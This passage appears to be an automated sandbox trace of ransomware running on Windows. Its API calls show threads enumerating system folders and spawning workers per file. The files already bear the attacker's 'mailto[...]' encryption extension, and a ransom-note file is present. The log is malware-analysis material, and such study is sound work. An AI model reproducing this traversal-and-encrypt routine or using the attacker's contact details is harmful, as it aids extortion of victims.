Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731" [0171.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0171.126] FindNextFileW (in: hFindFile=0x2f80720, lpFindFileData=0x2f9a4c0 | out: lpFindFileData=0x2f9a4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x8c1fa04e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x71180, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VCREDI~1.D0E")) returned 0 [0171.126] FindClose (in: hFindFile=0x2f80720 | out: hFindFile=0x2f80720) returned 1 [0171.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a4c0) returned 1 [0171.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2318) returned 1 [0171.127] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe54c8) returned 1 [0171.127] RtlExitUserThread (Status=0x0) Thread: id = 1799 os_tid = 0xee0 [0169.242] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fa2b38 [0169.242] wcscpy (in: _Dest=0x2fa2b38, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0169.242] wcscat (in: _Dest=0x2fa2b38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0169.242] wcscat (in: _Dest=0x2fa2b38, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*" [0169.242] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a728 [0169.243] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x8c1ade50, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c1ade50, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808e0 [0169.244] wcscmp (_String1=".", _String2=".") returned 0 [0169.244] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x8c1ade50, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c1ade50, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.245] wcscmp (_String1="..", _String2=".") returned 1 [0169.245] wcscmp (_String1="..", _String2="..") returned 0 [0169.245] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c13b7c5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c13b7c5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c13b7c5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0169.245] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0169.245] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0169.245] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x8c13b7c5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="STATER~1.D0E")) returned 1 [0169.245] wcscmp (_String1="state.rsm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0169.245] wcscmp (_String1="state.rsm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0169.245] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc43a0 [0169.245] wcscpy (in: _Dest=0x2fc43a0, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0169.245] wcscat (in: _Dest=0x2fc43a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0169.245] wcscat (in: _Dest=0x2fc43a0, _Source="state.rsm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.mailto[kokoklock@cock.li].d0e731" [0171.051] Sleep (dwMilliseconds=0x1) [0171.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc43a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0171.103] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x8c1ade50, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xbef30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VC_RED~1.D0E")) returned 1 [0171.104] wcscmp (_String1="VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0171.104] wcscmp (_String1="VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0171.104] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f85118 [0171.104] wcscpy (in: _Dest=0x2f85118, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0171.105] wcscat (in: _Dest=0x2f85118, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0171.105] wcscat (in: _Dest=0x2f85118, _Source="VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731" [0171.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f85118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0171.105] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f9a728 | out: lpFindFileData=0x2f9a728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd9a674c8, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x8c1ade50, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xbef30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VC_RED~1.D0E")) returned 0 [0171.105] FindClose (in: hFindFile=0x2f808e0 | out: hFindFile=0x2f808e0) returned 1 [0171.106] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a728) returned 1 [0171.106] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2b38) returned 1 [0171.106] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe51d0) returned 1 [0171.106] RtlExitUserThread (Status=0x0) Thread: id = 1800 os_tid = 0xee8 [0169.245] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xaa) returned 0x2f84370 [0169.245] wcscpy (in: _Dest=0x2f84370, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0169.245] wcscat (in: _Dest=0x2f84370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0169.245] wcscat (in: _Dest=0x2f84370, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*" [0169.245] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9a990 [0169.246] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80820 [0169.247] wcscmp (_String1=".", _String2=".") returned 0 [0169.247] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.247] wcscmp (_String1="..", _String2=".") returned 1 [0169.247] wcscmp (_String1="..", _String2="..") returned 0 [0169.247] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0169.247] wcscmp (_String1="packages", _String2=".") returned 1 [0169.247] wcscmp (_String1="packages", _String2="..") returned 1 [0169.247] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x2f9ebb0 [0169.247] wcscpy (in: _Dest=0x2f9ebb0, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0169.247] wcscat (in: _Dest=0x2f9ebb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\" [0169.247] wcscat (in: _Dest=0x2f9ebb0, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" [0171.051] Sleep (dwMilliseconds=0x1) [0171.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f9ebb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0171.088] FindNextFileW (in: hFindFile=0x2f80820, lpFindFileData=0x2f9a990 | out: lpFindFileData=0x2f9a990*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0171.088] FindClose (in: hFindFile=0x2f80820 | out: hFindFile=0x2f80820) returned 1 [0171.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9a990) returned 1 [0171.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84370) returned 1 [0171.088] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6de70) returned 1 [0171.088] RtlExitUserThread (Status=0x0) Thread: id = 1801 os_tid = 0xeec [0169.247] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x42) returned 0x2fa1d60 [0169.247] wcscpy (in: _Dest=0x2fa1d60, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java" [0169.247] wcscat (in: _Dest=0x2fa1d60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\" [0169.247] wcscat (in: _Dest=0x2fa1d60, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\*") returned="C:\\Users\\All Users\\Oracle\\Java\\*" [0169.248] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d278 [0169.248] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\*", lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f801e0 [0169.248] wcscmp (_String1=".", _String2=".") returned 0 [0169.248] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.248] wcscmp (_String1="..", _String2=".") returned 1 [0169.248] wcscmp (_String1="..", _String2="..") returned 0 [0169.248] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e7c1625, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e7c1625, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".oracle_jre_usage", cAlternateFileName="ORACLE~1")) returned 1 [0169.248] wcscmp (_String1=".oracle_jre_usage", _String2=".") returned 1 [0169.248] wcscmp (_String1=".oracle_jre_usage", _String2="..") returned 1 [0169.248] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x2f71128 [0169.248] wcscpy (in: _Dest=0x2f71128, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java" [0169.248] wcscat (in: _Dest=0x2f71128, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\" [0169.248] wcscat (in: _Dest=0x2f71128, _Source=".oracle_jre_usage" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage" [0171.051] Sleep (dwMilliseconds=0x1) [0171.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f71128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0171.082] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0171.082] wcscmp (_String1="installcache_x64", _String2=".") returned 1 [0171.082] wcscmp (_String1="installcache_x64", _String2="..") returned 1 [0171.082] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87d00 [0171.082] wcscpy (in: _Dest=0x2f87d00, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java" [0171.082] wcscat (in: _Dest=0x2f87d00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\" [0171.082] wcscat (in: _Dest=0x2f87d00, _Source="installcache_x64" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64" [0171.082] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0171.083] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath", cAlternateFileName="")) returned 1 [0171.083] wcscmp (_String1="javapath", _String2=".") returned 1 [0171.083] wcscmp (_String1="javapath", _String2="..") returned 1 [0171.083] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f889a0 [0171.083] wcscpy (in: _Dest=0x2f889a0, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java" [0171.083] wcscat (in: _Dest=0x2f889a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\" [0171.083] wcscat (in: _Dest=0x2f889a0, _Source="javapath" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath" [0171.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f889a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0171.085] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e859fc7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e859fc7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 1 [0171.085] wcscmp (_String1="javapath_target_474984", _String2=".") returned 1 [0171.085] wcscmp (_String1="javapath_target_474984", _String2="..") returned 1 [0171.085] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x2f96e40 [0171.085] wcscpy (in: _Dest=0x2f96e40, _Source="C:\\Users\\All Users\\Oracle\\Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java" [0171.085] wcscat (in: _Dest=0x2f96e40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\") returned="C:\\Users\\All Users\\Oracle\\Java\\" [0171.085] wcscat (in: _Dest=0x2f96e40, _Source="javapath_target_474984" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984" [0171.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f96e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0171.086] FindNextFileW (in: hFindFile=0x2f801e0, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x8e859fc7, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8e859fc7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="javapath_target_474984", cAlternateFileName="JAVAPA~1")) returned 0 [0171.086] FindClose (in: hFindFile=0x2f801e0 | out: hFindFile=0x2f801e0) returned 1 [0171.086] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d278) returned 1 [0171.086] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1d60) returned 1 [0171.086] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0171.087] RtlExitUserThread (Status=0x0) Thread: id = 1802 os_tid = 0xef0 [0169.249] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87d00 [0169.249] wcscpy (in: _Dest=0x2f87d00, _Source="C:\\Users\\All Users\\Microsoft OneDrive\\setup" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup" [0169.249] wcscat (in: _Dest=0x2f87d00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\" [0169.249] wcscat (in: _Dest=0x2f87d00, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*" [0169.249] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d4e0 [0169.249] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*", lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fe60 [0169.249] wcscmp (_String1=".", _String2=".") returned 0 [0169.249] FindNextFileW (in: hFindFile=0x2f7fe60, lpFindFileData=0x2f9d4e0 | out: 